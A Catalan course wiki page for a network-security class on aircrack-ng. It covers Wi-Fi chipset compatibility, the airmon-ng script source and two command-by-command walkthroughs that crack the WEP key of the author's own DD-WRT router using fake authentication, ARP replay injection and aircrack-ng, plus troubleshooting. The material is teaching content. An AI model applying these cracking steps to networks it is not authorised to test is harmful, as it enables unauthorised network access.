Aircrack-ng
De SergiTurWiki
| Curs: | SeguretatXarxesInformàtiques |
| Fitxers: | TallerClausWEP.pdf (TallerClausWEP.odp), |
| Repositori SVN: | https://anonymous@svn.projectes.lafarga.cat/svn/iceupc/SeguretatXarxesInformàtiques |
| Usuari: | anonymous |
| Paraula de pas: | sense paraula de pas |
| Autors: | Sergi Tur Badenas |
Contingut |
Maquinari
Podeu consultar una llista a:
Zydas zd1211rw
Aquest xip es troba per exemples en targetes WIFI USB de Wisacom:
Podeu consultar una llista de dispositius que tenen aquest xip a:
http://www.linuxwireless.org/en/users/Drivers/zd1211rw/devices
La que tinc jo la vaig comprar a Pricoinsa per uns 30€ aprox (--acacha 12:55, 19 abr 2009 (UTC)).
$ lsusb Bus 001 Deveice 004: ID 0ace:1215 ZyDAS WLA-54L WiFI ....
S'utilitzen els següents moduls de Linux:
$ lsmod | grep zd zd1211rw 52740 0 mac80211 217208 1 zd1211rw cfg80211 38032 2 zd1211rw,mac80211
Hi ha 2 versions, la mostrada anteriorment (mac80211) i l'antiga ieee80211softmac:
$ lsmod Module Size Used by zd1211rw 52740 0 ieee80211softmac 35265 1 zd1211rw ieee80211 35784 2 zd1211rw,ieee80211softmac ieee80211_crypt 10112 1 ieee80211
Aquesta última versió necessita d'un patch al kernel per tal de funcionar correctament. A la nova tot funciona bé amb version d'aircrack superiors a 1.0beta. Podeu consultar la versió d'aircrack amb:
$ dpkg -l | grep aircrack ii aircrack-ng 1:1.0~rc3-1 wireless WEP/WPA cracking utilities
Si nou us carrega el modul automàticament al connectar el USB, podeu provar manualment amb:
$ sudo modprobe zd1211rw
Recursos:
- http://www.aircrack-ng.org/doku.php?id=zd1211rw
- http://sourceforge.net/projects/zd1211/
- http://zd1211.wiki.sourceforge.net/
IWL3845 (Intel PRO/Wireless 3945ABG)
NOTA: Hi ha problemes amb aquest chip (--acacha 10:41, 27 abr 2009 (UTC))
$ lspci 0b:00.0 Network controller: Intel Corporation PRO/Wireless 3945ABG Network Connection (rev 02)
Hi ha problemes per injectar paquets amb aquest chip:
- http://foro.elhacker.net/wireless_en_linux/problemas_e_informacion_ipw3945_iwl3945_arreglado-t220650.0.html
- http://foro.seguridadwireless.net/index.php/topic,13685.msg79760/boardseen.html#new
- http://neodian.blogsome.com/2008/01/13/crackear-wep-con-intel-3945-en-ubuntu/
- http://forums.remote-exploit.org/archive/index.php/t-7869.html
- http://www.dragonjar.org/inyeccion-de-tramas-80211-con-una-intel-pro-3945.xhtml
DLINK (DWL-G510 Rev C)
NOTA: Hi ha problemes amb aquest chip (--acacha 10:41, 27 abr 2009 (UTC))
Molt similar a la targeta de l'apartat següent però té un xip de diferent fabricant (RaLink):
$ lspci 0c:05.0 Network controller: RaLink RT2561/RT61 rev B 802.11g
El driver de Linux és:
info.linux.driver=rt61pci
El podeu obtenir amb la comanda ethtool:
$ sudo ethtool -i eth0
Sembla que no hi ha suport per a kismet? i tampoc per a aircrack-ng
Tant la DLINK-G510 com la DLINK-G520, són habituals en els ordinadors Siemens de les dotacions del departament d'ensenyament
DLINK (DWL-G520)
Aquesta targeta de D-LINK es molt similar a la de l'apartat anterior però porta un chipset Atheros que si és compatible amb Kismet i aircrack-ng.
Nom del driver:
$ lspci ... 02:06.0 Ethernet controller: Atheros Communications Inc. AR5212/AR5213 Multiprotocol MAC/baseband processor (rev 01)
El driver de Linux és:
info.linux.driver=ath_pci
El podeu obtenir amb la comanda ethtool:
$ sudo ethtool -i eth0
Configuració kismet:
source=madwifi_g,wifi0,d-link
Funciona OK amb aircrak-ng.
Recursos:
DLINK (DWL-G520) en màquina de profe
El mateix tipus de targeta en un ordinador diferent (les anteriors estaven en ordinadors d'alumnes d'un AULA i aquest a un Fujitus Siemens ESPRIMO), dona un chip diferent
$ lspci ... 0c:05.0 Ethernet controller: Atheros Communications Inc. Atheros AR5001X+ Wireless Network Adapter (rev 01)
Al fer un ifconfig:
$ sudo ifconfig
...
wlan0 Link encap:Ethernet HWaddr 00:1c:f0:d4:55:1b
inet6 addr: fe80::21c:f0ff:fed4:551b/64 Scope:Link
UP BROADCAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
...
wmaster0 Link encap:UNSPEC HWaddr 00-1C-F0-D4-55-1B-35-31-00-00-00-00-00-00-00-00
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
Les targetes són wlan0 i wmaster0 en comptes de ath0. Al crear un monitor la targeta es diu mon0:
mon0 Link encap:UNSPEC HWaddr 00-1C-F0-D4-55-1B-30-30-00-00-00-00-00-00-00-00
UP BROADCAST NOTRAILERS RUNNING PROMISC ALLMULTI MTU:1500 Metric:1
RX packets:2213684 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:158199214 (158.1 MB) TX bytes:0 (0.0 B)
Ralink RT2860
Sembla que no està suportada per defecte:
$ lspci ... 01:00.0 Network Controller: RaLink RT2860 ...
$ sudo ethtool -i eth0 driver: ATL1E version: 1.0.07-NAPI firmware-version: L1e bus-info: 000:04:00.0
Instal·lació
$ sudo apt-get install aircrack-ng
Comandes:
$ dpkg -L aircrack-ng | grep bin /usr/bin /usr/bin/aircrack-ng /usr/bin/airdecap-ng /usr/bin/packetforge-ng /usr/bin/ivstools /usr/bin/kstats /usr/bin/buddy-ng /usr/bin/makeivs-ng /usr/bin/airolib-ng /usr/sbin /usr/sbin/aireplay-ng /usr/sbin/airodump-ng /usr/sbin/airserv-ng /usr/sbin/airtun-ng /usr/sbin/wesside-ng /usr/sbin/easside-ng /usr/sbin/airmon-ng /usr/sbin/airdriver-ng
Comandes
airmon-ng
Es tracta d'un script de bash que configura les targetes sense fils per tal de posar-les en el mode monitor:
Activar mode monitor:
$ sudo airmon-ng start ath0
On ath0 és el nom de la targeta a la qual voleu activar o desactivar el mode monitor.
Atenció que airmon-ng, utilitza kismet i pot interferir amb la configuració de kismet.
Desactivar:
$ sudo airmon-ng stop ath0
Bàsicament utilitza la comanda iwconfig:
$ sudo iwconfig eth0 mode monitor
La qüestió però, és que depenen del maquinari no és tan senzill (i això és en el que ens ajuda l'script).
L'script és:
$ cat /usr/sbin/airmon-ng
#!/bin/sh
USERID=""
IFACE=""
KISMET=/etc/kismet/kismet.conf
CH=$3; [ x$3 = "x" ] && CH=10
IFACE_FOUND="false"
MADWIFI=0
MAC80211=0
PROCESSES="wpa_action\|wpa_supplicant\|wpa_cli\|dhclient\|ifplugd\|dhcdbd\|NetworkManager\|knetworkmanager\|avahi-autoipd\|avahi- daemon"
usage() {
printf "usage: `basename $0` <start|stop|check> <interface> [channel]\n"
echo
exit
}
startStdIface() {
iwconfig $1 mode monitor 2> /dev/null >/dev/null
iwconfig $1 channel $2 2> /dev/null >/dev/null
iwconfig $1 key off 2> /dev/null >/dev/null
ifconfig $1 up
printf " (monitor mode enabled)"
}
stopStdIface() {
ifconfig $1 down 2> /dev/null >/dev/null
iwconfig $1 mode Managed 2> /dev/null >/dev/null
ifconfig $1 down 2> /dev/null >/dev/null
printf " (monitor mode disabled)"
}
getModule() {
if [ -f "/sys/class/net/$1/device/driver/module/srcversion" ]
then
srcver1=`cat "/sys/class/net/$1/device/driver/module/srcversion"`
for j in `lsmod | awk '{print $1}' | grep -v "^Module$"`
do
srcver2="`modinfo $j | grep srcversion | awk '{print $2}'`"
if [ $srcver1 = "$srcver2" ]
then
MODULE=$j
break
fi
done
else
MODULE=""
fi
# return 0
}
getDriver() {
if [ -e "/sys/class/net/$1/device/driver" ]
then
DRIVER="`ls -l "/sys/class/net/$1/device/driver" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/'`"
BUS="`ls -l /sys/class/net/$1/device/driver | sed 's/^.*\/\([a-zA-Z0-9_-]*\)\/.*\/.*$/\1/'`"
else
DRIVER=""
BUS=""
fi
}
scanProcesses() {
match=`ps -A -o comm= | grep $PROCESSES | grep -v grep | wc -l`
if [ $match -gt 0 ]
then
echo && echo
echo "Found $match processes that could cause trouble."
echo "If airodump-ng, aireplay-ng or airtun-ng stops working after"
echo "a short period of time, you may want to kill (some of) them!"
echo
echo "PID\tName"
else
return
fi
i=1
while [ $i -le $match ]
do
pid=`ps -A -o pid= -o comm= | grep $PROCESSES | grep -v grep | head -n $i | tail -n 1 | awk '{print $1}'`
pname=`ps -A -o pid= -o comm= | grep $PROCESSES | grep -v grep | head -n $i | tail -n 1 | awk '{print $2}'`
printf "$pid\t$pname\n"
i=$(($i+1))
done
}
...
NOTA: airmon-ng can set the right sources in /etc/kismet/kismet.conf too
Si no funciona es pot utilitzar kismet per posar la targeta en mode monitor.
airodump-ng
Eina de captura de paquets de aircrack:
$ sudo airodump-ng eth1
Podeu guardar la captura en un fitxer amb la comanda:
$ sudo airodump-ng eth1 -w fitxer_captura
Es creen 2 fitxers fitxer_captura.txt i fitxer_captura.cap
$ ls -l -rw-r--r-- 1 root root 592 2008-10-22 11:57 fitxer_captura-01.cap -rw-r--r-- 1 root root 967 2008-10-22 11:57 fitxer_captura-01.txt
Per capturar només IVS (només vàlid per a cracking) cal posar:
$ sudo airodump-ng -i eth1 -w fitxer_captura
aireplay-ng
Aquesta eina, injecta paquets ARP en una xarxa sense fils per tal de generar trànsit de dades.
aircrack-ng
Exemple pas a pas amb DLINK (DWL-G520)
En aquest apartat hi han les indicacions pas a pas per utilitzar aircrack-ng amb DWL-G520.
Primer de tots instal·lem el paquet madwifi-tools (són les eines per a Atheros):
$ sudo apt-get install madwifi-tools
Us proporciona la comanda wlanconfig, necessaria per a poder utilitzar airmon-ng. Per a més informació vegeu l'error wlan config not found.
$ dpkg -L madwifi-tools | grep bin /sbin /sbin/wlanconfig ...
Instal·lem
$ sudo apt-get install aircrack-ng
Amb les targetes atheros cal que, prèviament a realitzar un atac, s'elimini el VAP (Virtual Acces Point) ath0:
$ sudo airmon-ng stop ath0
Ara podem iniciar el mode monitor:
$ sudo airmon-ng start wifi0
NOTA: Atenció a l'error:
$ sudo airmon-ng start wifi0
Interface Chipset Driver
wifi0 Atheros madwifi-ngError for wireless request "Set Frequency" (8B04) :
SET failed on device ath0 ; No such device.
ath0: ERROR while getting interface flags: No such device
ath1 Atheros madwifi-ng VAP (parent: wifi0)
Si us dona aquest error, haureu de substituir tots els ath0 de les comandes següents per ath1.
Cal fixar-se en:
... ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
Que vol dir que s'ha activat el mode monitor. Vegeu que no s'activa el mode monitor a la targeta de xarxa wifi0 sinó que es crea una interfície de xarxa virtual anomenada ath0. Podeu comprovar-ho amb:
$ sudo iwconfig
lo no wireless extensions.
eth5 no wireless extensions.
wifi0 no wireless extensions.
ath0 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.437 GHz Access Point: 00:1C:F0:D4:54:A8
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=1/1
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/70 Signal level=-95 dBm Noise level=-95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
MOLT IMPORTANT: Si us equivoqueu i repetiu la comanda us creara més interfícies athX. Cal tenir-ho en compte ja que, les següents comandes no aniran bé si teniu múltiples interfícies en mode monitor. Consulteu [[#X is on channel 3, but the AP uses channel 6|X is on channel 3, but the AP uses channel 6]. Es poden eliminar amb:
$ sudo airmon-ng stop ath1
Tingueu en compte també que us indiquen que certs programes del sistema us poden provocar problemes amb aircrack:
PID Name 2578 NetworkManager 2582 wpa_supplicant 2602 avahi-daemon 2603 avahi-daemon 4696 dhclient
Us dona el PID per tal que els podeu matar si cal amb (normalment no és necessari):
$ sudo kill -9 PID
IMPORTANT: Si que cal i es molt recomanable desactivar la xarxa Wireless del NetworkManager de Gnome. Feu botó dret a la icona de xarxa del panell superior i desactiveu la xarxa sense fils:
Comproveu que la targeta està en mode monitor:
$ sudo iwconfig ath0
ath0 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.457 GHz Access Point: 00:1C:F0:D4:55:92
Bit Rate:0 kb/s Tx-Power:18 dBm Sensitivity=1/1
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/70 Signal level=-96 dBm Noise level=-96 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
Aixequeu la interfície:
$ sudo ifconfig ath0 up
I comproveu si funciona la injecció de paquets:
$ sudo aireplay-ng --test -i wifi0 ath0 09:34:15 Trying broadcast probe requests... 09:34:17 No Answer... 09:34:17 Found 0 APs 09:34:17 Trying card-to-card injection... 09:34:17 Attack -0: OK 09:34:17 Attack -1 (open): OK 09:34:17 Attack -1 (psk): OK 09:34:17 Attack -2/-3/-4: OK 09:34:17 Attack -5: OK 09:34:17 Injection is working!
Podem començar l'atac... Primer ens creem una carpeta i ens col·loquem dintre:
$ cd $ mkdir atacWEP $ cd atacWEP
I ara busquem víctimes amb airodump (podríeu utilitzar també kismet):
$ sudo airodump-ng -i ath0 -w fitxer_captura
Ens apareixeran les xarxes de la zona. Escollim com a víctima la xarxa dd-wrt:
...
CH 6 ][ Elapsed: 1 min ][ 2008-10-23 09:38
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:1D:73:3A:CB:AC 43 133 10 0 6 48 WPA WEP dd-wrt
Sortiu amb Ctrl+C.
Que observareu que està al canal 6. Ara cal executar airmon-ng només escoltant el canal 6:
$ sudo airodump-ng -i ath0 -c 6 -w fitxer_captura
CH 6 ][ Elapsed: 1 min ][ 2008-10-23 09:38
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:1D:73:3A:CB:AC 43 133 10 0 6 48 WPA WEP dd-wrt
Aquesta comanda generarà uns fitxers anomenats:
$ ls -l fitxer_captura_01.txt fitxer_captura_01.ivs
Si observeu la sortida de airodump, veureu que la columna data no augmenta (o augmenta molt lentament). Això és per que cal que hi hagui molt de tràfic o que el provoquem nosaltres (això és el que farem en el següents passos).
NOTA: no tanqueu la terminal on s'està executant airodump-ng. Deixeu-lo funcionant.
Anem a suposar que ataquem un màquina (en el cas és una màquina pròpia preparada, un router Buffalo amb DD-WRT).
Per aconseguir claus WEP quan més tràfic WEP hi hagi millor. Si no existeix tràfic WEP el podem crear amb:
NOTA: Heu de posar els valors adequats per al vostre cas de BSSID (paràmetre -e) i MAC del punt d'accés (paràmetre -a)
$ sudo aireplay-ng -1 0 -e dd-wrt -a 00:1D:73:3A:CB:AC ath0 No source MAC (-h) specified. Using the device MAC (00:1C:F0:D4:55:92) 09:56:28 Waiting for beacon frame (BSSID: 00:1D:73:3A:CB:AC) 09:56:28 Sending Authentication Request 09:56:28 Authentication successful 09:56:28 Sending Association Request 09:56:28 Association successful :-)
NOTA: Cal tenir airodump executant-se en un sol canal (opció -c)!!! si no poden sortir missatges del tipus: 09:55:56 ath0 is on channel 7, but the AP uses channel 6
El paràmetre -1 indica el tipus d'atac (amb l'opció 0, que indica al cap de quants segons enviarà un paquet keep-alive)
Ara iniciem un atac arpreplay per tal de capturar paquets IVS (o data en versions noves de aircrack):
$ sudo aireplay-ng -3 -e dd-wrt -a 00:1D:73:3A:CB:AC -x 600 ath0 No source MAC (-h) specified. Using the device MAC (00:1C:F0:D4:55:92) 10:04:11 Waiting for beacon frame (ESSID: dd-wrt) Found BSSID "00:1D:73:3A:CB:AC" to given ESSID "dd-wrt". Saving ARP requests in replay_arp-1023-100411.cap You should also start airodump-ng to capture replies.
Ara veurem com augmenta el número de paquets DATA a la pantalla on tenim executat airodump (o IVS segons la versió de aircrack). El nombre de IVs recomanats són:
- WEP 64 bits: 300.000 IVs
- WEP 128 bits: 1.000.000
NOTA: No cal esperar a tenir aquest nombre de paquets per a fer una prova. Sovint s'aconsegueix la clau molt abans...
Un cop teniu els IVS suficients, cal executar aircrack en una nova terminal. Situe-vos a la mateixa carpeta on s'està executant airodump i airreplay (en el nostre cas atacWEP de la HOME) i executeu
$ sudo aircrack-ng -x -0 *.cap *.ivs Opening replay_arp-1023-100411.cap Opening fitxer_captura-08.ivs Read 387215 packets. # BSSID ESSID Encryption 1 00:1D:73:3A:CB:AC dd-wrt WEP (387164 IVs) ... Index number of target network ? 1
Seleccioneu la xarxa que esteu atacant (en aquest cas 1) i voila:
La opció -x evita un atac de força bruta als últims 2 bytes (el crack és més ràpid). I el -0 només es per fer-ho més bonic.
La clau WEP està en format hexadecimal (normalment cal treure els : per tenir una clau utilitzable...)
Exemple pas a pas amb Zydas zd1211rw
$ sudo apt-get install aircrack-ng
Consulteu les interfícies de xarxa que teniu quan no està connectada la targeta USB:
$ sudo ifconfig
eth0 Link encap:Ethernet HWaddr 00:30:1b:b7:cd:b6
inet addr:192.168.1.2 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::230:1bff:feb7:cdb6/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:16532 errors:0 dropped:0 overruns:0 frame:0
TX packets:16999 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:14030927 (14.0 MB) TX bytes:5633938 (5.6 MB)
Interrupt:16
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:4 errors:0 dropped:0 overruns:0 frame:0
TX packets:4 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:240 (240.0 B) TX bytes:240 (240.0 B)
Al connectar la targeta us apareixeran dos noves interfícies:
$ sudo ifconfig
...
wlan0 Link encap:Ethernet HWaddr 00:02:72:78:8d:8c
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
wmaster0 Link encap:UNSPEC HWaddr 00-02-72-78-8D-8C-00-00-00-00-00-00-00-00-00-00
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
En sistemes Ubuntu, udev us haura afegit una línia al fitxer /etc/udev/rules.d/70-persistent-net.rules :
$ cat /etc/udev/rules.d/70-persistent-net.rules
...
# USB device 0x:0x (zd1211rw)
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:02:72:78:8d:8c", ATTR{type}=="1", KERNEL=="wlan*",
NAME="wlan0"
D'aquesta manera aquest USB sempre tindrà la interfície wlan0. Si teniu més d'una targeta USB wireless, les següents targetes que connecteu agafaran els noms wlan1, wlan, etc...
Activem el mode monitor de la targeta wifi. Aquest mode és necessari per a detectar xarxes i capturar paquets per a poder aplicar les tècniques de criptoanàlisi als paquets:
$ sudo airmon-ng start wlan0 Found 5 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them! PID Name 2578 NetworkManager 2582 wpa_supplicant 2602 avahi-daemon 2603 avahi-daemon 4696 dhclient Interface Chipset Driver wlan0 ZyDAS 1211 zd1211rw - [phy2] (monitor mode enabled on mon0)
Cal fixar-se en:
wlan0 ZyDAS 1211 zd1211rw - [phy2] (monitor mode enabled on mon0)
Que vol dir que s'ha activat el mode monitor. Vegeu que no s'activa el mode monitor a la targeta de xarxa wlan0 sinó que es crea una interfície de xarxa virtual anomenada mon0. Podeu comprovar-ho amb:
$ sudo iwconfig
...
mon0 IEEE 802.11bg Mode:Monitor Frequency:2.412 GHz Tx-Power=20 dBm
Retry min limit:7 RTS thr:off Fragment thr=2352 B
Encryption key:off
Power Management:off
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
MOLT IMPORTANT: Si us equivoqueu i repetiu la comanda us creara més interfícies monX. Cal tenir-ho en compte ja que, les següents comandes no aniran bé si teniu múltiples interfícies en mode monitor. Consulteu [[#X is on channel 3, but the AP uses channel 6|X is on channel 3, but the AP uses channel 6]. Es poden eliminar amb: $ sudo airmon-ng stop mon1
Tingueu en compte també que us indiquen que certs programes del sistema us poden provocar problemes amb aircrack:
PID Name 2578 NetworkManager 2582 wpa_supplicant 2602 avahi-daemon 2603 avahi-daemon 4696 dhclient
Us dona el PID per tal que els podeu matar si cal amb (normalment no és necessari):
$ sudo kill -9 PID
IMPORTANT: Si que cal i es molt recomanable desactivar la xarxa Wireless del NetworkManager de Gnome. Feu botó dret a la icona de xarxa del panell superior i desactiveu la xarxa sense fils:
Ara comprovem, fent un test d'injecció, si la nostra tarja suporta injecció de paquets:
$ sudo aireplay-ng --test -i wlan0 mon0 13:15:12 Trying broadcast probe requests... 13:15:14 No Answer... 13:15:14 Found 0 APs 13:15:14 Trying card-to-card injection... 13:15:14 Attack -0: OK 13:15:14 Attack -1 (open): OK 13:15:14 Attack -1 (psk): OK 13:15:14 Attack -2/-3/-4/-6: OK 13:15:14 Attack -5/-7: OK 13:15:14 Injection is working!
On wlan0 és la interficie real i mon0 és la virtual en mode monitor que acabem de crear.
Ara comencem l'atac. El primer es detectar xarxes i escollir una víctima. Per això està la comanda airodump-ng:
$ sudo airodump-ng -i mon0 -w fitxer_captura
Us mostrarà una informació similar a:
CH 3 ][ Elapsed: 32 s ][ 2009-04-27 13:24
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH SSID
MAC1 54 13 0 0 6 54 . WPA TKIP PSK NOM_XARXA1
MAC2 54 13 0 0 6 54 . OPN NOM_XARXA2
MAC3 54 13 0 0 6 54 . WEP WEP NOM_XARX3
...
Per exemple
$ sudo airodump-ng -i mon0 -w fitxer_captura
CH 6 ][ Elapsed: 32 s ][ 2009-04-27 13:24
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH SSID
00:1D:73:3A:CB:AC 70 15 0 0 6 54e WEP WEP dd-wrt
Heu d'apuntar la MAC (BSSID) i el SSID (nom de la xarxa) de la víctima i el canal que utilitza. Atureu airodump amb Ctrl-C.
Ara torneu-lo a excutar, només escoltant pel canal del punt d'accés víctima:
$ sudo airodump-ng -i mon0 -c 6 -w fitxer_captura
Observeu com el canal no va canviant. Deixeu aquesta comanda executant-se...
Per poder iniciar un desxifratge de la paraula de pas, és necessari de disposar de prous paquets a la columna DATA. Per que aquesta columna augmenti cal que hi hagi força tràfic a la xarxa sense fils. En aquest punt és on intervé l'atac d'injecció de paquets.
Sense tancar airodump (podeu iniciar una nova pestanya de la terminal amb Ctrl-Shift-t), executeu:
$ sudo aireplay-ng -1 0 -e SSID_DE_LAXARXA -a MAC_PUNT_ACCES mon0
On
- -1 0: És el tipus d'atac. -1 és un atac de fakeauth (autentació falsa al punt d'accés). 0 és una paràmetre d'aquest tipus d'atac i correspon al retard (delay). Els tipus d'actacs els podeu consultar al manual de aireplay-ng ( $ man airreplay-ng)
- -e SSID_DE_LAXARXA: És el que normalment coneixem com a nom de la xarxa sense fils.
- -a MAC_PUNT_ACCES: La MAC del punt d'accés
Aquestes 3 dades les heu obtingut a la comanda anterior. Per exemple, suposem que la víctima és la següent:
- MAC del punt d'accés (BSSID): 00:1D:73:3A:CB:AC
- ESSID: dd-wrt
La comanda seria:
$ sudo aireplay-ng -1 0 -e dd-wrt -a 00:1D:73:3A:CB:AC mon0 No source MAC (-h) specified. Using the device MAC (00:02:72:78:8D:8C) 09:16:21 Waiting for beacon frame (BSSID: 00:1D:73:3A:CB:AC) on channel 6 09:16:21 Sending Authentication Request (Open System) [ACK] 09:16:21 Authentication successful 09:16:21 Sending Association Request [ACK] 09:16:21 Association successful :-) (AID: 1)
Ara que ja estem associats al punt d'accés podem començar la injecció de paquets amb:
$ sudo aireplay-ng -3 -e SSID_DE_LAXARXA -a MAC_PUNT_ACCES -x 600 mon0
Per l'exemple que estem seguint:
$ sudo aireplay-ng -3 -e dd-wrt -a 00:1D:73:3A:CB:AC -x 600 mon0 No source MAC (-h) specified. Using the device MAC (00:02:72:78:8D:8C) 09:24:17 Waiting for beacon frame (ESSID: dd-wrt) on channel 6 Found BSSID "00:1D:73:3A:CB:AC" to given ESSID "dd-wrt". Saving ARP requests in replay_arp-0429-092417.cap You should also start airodump-ng to capture replies. ^Cad 538 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
Un cop tinguem suficients paquets IV, pode executar:
$ sudo aircrack-ng -x -0 *.cap *.ivs
NOTA': Totes les comandes executau-les dins la mateixa carpeta (en el nostre cas ~/atacWEP).
Configuració de kismet
Zydas zd1211rw
Consulteu:
Script. Autocrack
Recursos:
Resolució d'errors. TroubleShooting
Es creat la interfície ath1 en comptes de la ath0
Aquest problema només s'aplica a les targetes madwifi-ng. Primer cal provar d'apagar cap Acces Point Virtual (VAP) amb:
$ sudo airmon-ng stop IFACE
I després fer:
$ sudo airmon-ng start wifi0
Recursos:
- http://www.aircrack-ng.org/doku.php?id=airmon-ng#interface_ath1_created_instead_of_ath0
- http://tinyshell.be/aircrackng/forum/index.php?topic=2044.0
Error message: "wlanconfig: command not found"
Això es que falta per instal·lar les eines de madwifi (madwifi-tools) If you receive “wlanconfig: command not found” or similar then the wl:
$ sudo apt-get install madwifi-tools
X is on channel 3, but the AP uses channel 6
Si a l'executar airreplay:
$ sudo aireplay-ng -1 0 -e WLAN_4B -a 00:01:38:E1:A1:1C mon0 No source MAC (-h) specified. Using the device MAC (00:02:72:78:8D:8C) 13:03:31 Waiting for beacon frame (BSSID: 00:01:38:E1:A1:1C) on channel 3 13:03:31 mon0 is on channel 3, but the AP uses channel 6
Aquest error es degut a que hi ha algun procés que va canviant els canals de la wifi (Channel Hopping).
Comproveu que no tingueu diverses interfícies en mode monitor amb:
$ sudo iwconfig
Si teniu més d'una targeta mon o ath en mode monitor aquí teniu el vostre problema. Les podeu eliminar amb:
$ sudo airmon-ng stop mon1
Un altre possible error és que esteu executant, sense el paràmetre -c. Un exemple correcte:
$ sudo airodump-ng -i ath0 -c 6 -w fitxer_captura
No funciona l'atac 1
A vegades l'atac 1 (aunteticació o associació falsa al punt d'accés) no funciona:
$ sudo aireplay-ng -1 0 -e dd-wrtHotSpot -a 00:1D:73:3A:CB:AC mon0
No source MAC (-h) specified. Using the device MAC (00:02:72:DD:AA:8C)
09:44:22 Waiting for beacon frame (BSSID: 00:1D:73:3A:CB:AC) on channel 6
09:44:22 Sending Authentication Request (Open System)
09:44:24 Sending Authentication Request (Open System)
09:44:26 Sending Authentication Request (Open System)
09:44:28 Sending Authentication Request (Open System)
09:44:30 Sending Authentication Request (Open System)
09:44:32 Sending Authentication Request (Open System)
09:44:34 Sending Authentication Request (Open System)
09:44:36 Sending Authentication Request (Open System)
09:44:38 Sending Authentication Request (Open System)
09:44:40 Sending Authentication Request (Open System)
09:44:42 Sending Authentication Request (Open System)
09:44:44 Sending Authentication Request (Open System)
09:44:46 Sending Authentication Request (Open System)
09:44:48 Sending Authentication Request (Open System)
09:44:50 Sending Authentication Request (Open System)
09:44:52 Sending Authentication Request (Open System)
Attack was unsuccessful. Possible reasons:
* Perhaps MAC address filtering is enabled.
* Check that the BSSID (-a option) is correct.
* Try to change the number of packets (-o option).
* The driver/card doesn't support injection.
* This attack sometimes fails against some APs.
* The card is not on the same channel as the AP.
* You're too far from the AP. Get closer, or lower
the transmit rate.
Per confirmar el canal podeu utilitzar:
$ sudo iwlist mon0 frequency
mon0 13 channels in total; available frequencies :
Channel 01 : 2.412 GHz
Channel 02 : 2.417 GHz
Channel 03 : 2.422 GHz
Channel 04 : 2.427 GHz
Channel 05 : 2.432 GHz
Channel 06 : 2.437 GHz
Channel 07 : 2.442 GHz
Channel 08 : 2.447 GHz
Channel 09 : 2.452 GHz
Channel 10 : 2.457 GHz
Channel 11 : 2.462 GHz
Channel 12 : 2.467 GHz
Channel 13 : 2.472 GHz
Current Frequency=2.437 GHz (Channel 6)
wlanconfig not found
Si al executar:
$ sudo airmon-ng stop ath0 Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0)/usr/sbin/airmon-ng: 833: wlanconfig: not found (VAP destroyed)
Us dona el error wlanconfig not found, aleshores és que esteu treballant amb una targeta de xarxa atheros però no teniu el paquet madwifi-tools. Com podeu veure el paquet que proporciona la comanda wlanconfig és madwifi-tools:
$ dpkg -S wlanconfig madwifi-tools: /sbin/wlanconfig madwifi-tools: /usr/share/man/man8/wlanconfig.8.gz
Instal·leu doncs els paquet amb:
$ sudo apt-get install madwifi-tools
Notice: got a deauth/disassoc packet. Is the source MAC associated
WPA
Extret de:
http://training.gnun.net/Get,ca7e09eacf1ae34bc819d495c5adfed9
Pendent de documentar (TODO):
Crack WPA/WPA2
Use buttons above to get extra information
-[ INFORMACIÓN ]---------------------------------------------------------------------
